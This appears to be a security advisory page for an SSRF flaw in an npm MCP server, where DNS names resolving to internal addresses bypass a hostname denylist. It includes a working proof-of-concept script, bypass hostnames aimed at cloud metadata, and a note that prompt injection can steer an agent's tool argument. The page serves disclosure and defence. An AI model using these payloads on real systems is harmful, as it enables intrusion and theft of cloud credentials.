NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-61612: @aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509

mediumCVSS 3.1 5.7GHSA-798p-78g2-v556

@aborruso/ckan-mcp-server up to 0.4.107 checks only the hostname string of a caller-supplied `server_url` and never resolves DNS. A name that resolves to 127.0.0.1 or 169.254.169.254 passes, and the response comes back to the caller. This is the third bypass of the same guard. Fixed in 0.4.108.

Published Sep 22, 2026 · Analysis Oct 22, 2026

What an attacker can do

validateServerUrl in src/utils/http.ts blocks IPv4 literals in private ranges and three loopback names: localhost, ip6-localhost and ip6-loopback. It does no name resolution. A host such as 127.0.0.1.nip.io or 169.254.169.254.nip.io is neither a literal nor on the list, so it passes and then resolves to the internal address. Earlier fixes (CVE-2026-33060, then CVE-2026-53509) only added strings to the denylist. Encodings like decimal 2130706433 or 0x7f.0.0.1 do not bypass it, because the URL parser normalizes them.

server_url is an argument on every tool and reaches makeCkanRequest and querySparqlEndpoint. The sink is not blind: a non-CKAN reply returns verbatim in a CKAN API returned success=false: message. The reporter's proof returned a fake IAM token from a local server through ckan_package_search.

In the default stdio setup, the attacker needs prompt injection to steer the argument. In the self-hosted HTTP transport (TRANSPORT=http, POST /mcp), which is unauthenticated, any remote client can do it directly and reach cloud metadata and internal hosts. The reporter notes the official Cloudflare Worker endpoint is sandboxed and cannot reach those ranges.

Who is affected

@aborruso/ckan-mcp-server through 0.4.107, which was the latest release when reported. The guard never resolved DNS in any release. Highest risk: the self-hosted HTTP transport on a cloud host, where metadata is reachable.

npm ls @aborruso/ckan-mcp-server

@aborruso/ckan-mcp-server

Ecosystem
npm
Affected
<= 0.4.107
Fixed in
0.4.108
Check
npm ls @aborruso/ckan-mcp-server

How to fix it

Upgrade to 0.4.108:

npm install @aborruso/[email protected]

The release resolves the hostname with an SSRF-safe lookup agent, rejects any private or internal result, and pins the connection to the validated IP, which also stops DNS rebinding and redirects to internal hosts. Redirects are capped at 5, and sparql_query requires HTTPS. The HTTP transport now refuses to start without CKAN_ALLOWED_DOMAINS; setting CKAN_HTTP_ALLOW_ALL=true overrides that with a warning, so avoid it. Stdio is unaffected by that rule.

How to tell if you were hit

In HTTP deployments, check access logs for POST /mcp calls whose server_url uses wildcard-DNS names such as nip.io or sslip.io, or domains you do not recognise. On the host, look for outbound connections from the Node process to 127.0.0.1, RFC 1918 ranges or 169.254.169.254. On AWS, review use of the instance role from unexpected addresses. For stdio use with an agent, Beam records agent MCP tool calls, so a tool call with an odd server_url is visible.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The SSRF guard validateServerUrl (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied server_url whose hostname *resolves* to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (`169.254.169.254`). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.

Affected / patched

  • @aborruso/ckan-mcp-server (npm) — all versions with the guard, through 0.4.107 (current latest). The guard has never resolved DNS. No patch yet.

Severity

It is effectively High for the self-hosted unauthenticated HTTP transport (TRANSPORT=http, POST /mcp), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).

Root cause — src/utils/http.ts, validateServerUrl

The guard blocks IP literals and three loopback alias strings, but does no name resolution:

const hostname = parsed.hostname.toLowerCase();
if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist
if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ }
// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed

Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added ip6-localhost/ip6-loopback). The DNS-resolution gap — the actual root cause — remains. server_url is a caller-controlled argument (z.string().url()) on every tool, reaching makeCkanRequest (all CKAN tools) and querySparqlEndpoint (sparql_query). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via CKAN API returned success=false: <body>.

Note: numeric-IP encodings (decimal 2130706433, short 127.1, hex 0x7f.0.0.1) do not bypass — Node's WHATWG new URL() canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.

Proof of concept

Drives the published server over the MCP protocol via the public ckan_package_search tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.

npm install @aborruso/[email protected] @modelcontextprotocol/sdk
node poc.mjs
import http from 'node:http';
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';
const internal = http.createServer((_req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response
});
await new Promise(r => internal.listen(0, '127.0.0.1', r));
const port = internal.address().port;

const client = new Client({ name: "ssrf-poc", version: "1.0.0" });
await client.connect(new StdioClientTransport({
  command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"]
}));

// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io"
// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.
// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.
const evil = `http://127.0.0.1.nip.io:${port}/`;
const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } });

const text = res.content?.[0]?.text || JSON.stringify(res);
console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no");
console.log(text.slice(0, 220));
await client.close(); internal.close();

Output:

SSRF: YES — internal server reached, body returned to caller
CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"}

A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; nip.io just makes the PoC self-contained.

Impact

Caller-controlled SSRF to loopback, RFC-1918 hosts, and 169.254.169.254 (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.

Suggested fix

Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom lookup/agent) so a re-resolve cannot rebind to an internal address — or require the existing CKAN_ALLOWED_DOMAINS allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.

Credited to EchoSkorJjj.

Questions

Why did two earlier fixes not stop this?

They added more literal names to a denylist. The guard still looked only at the hostname string, so any name that resolves to an internal IP passed.

Can it reach cloud credentials?

The reporter says the guard lets requests reach 169.254.169.254 and that the response is returned to the caller, which is how IAM credentials could leak on a cloud host.

Is the stdio setup safe?

Less exposed. Exploitation there needs prompt injection to set server_url. The unauthenticated HTTP transport can be hit by any remote client.

Is it exploited in the wild?

No source reports that. Our entry rates it medium (CVSS 3.1 score 5.7), while the advisory text calls it effectively high for self-hosted HTTP.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries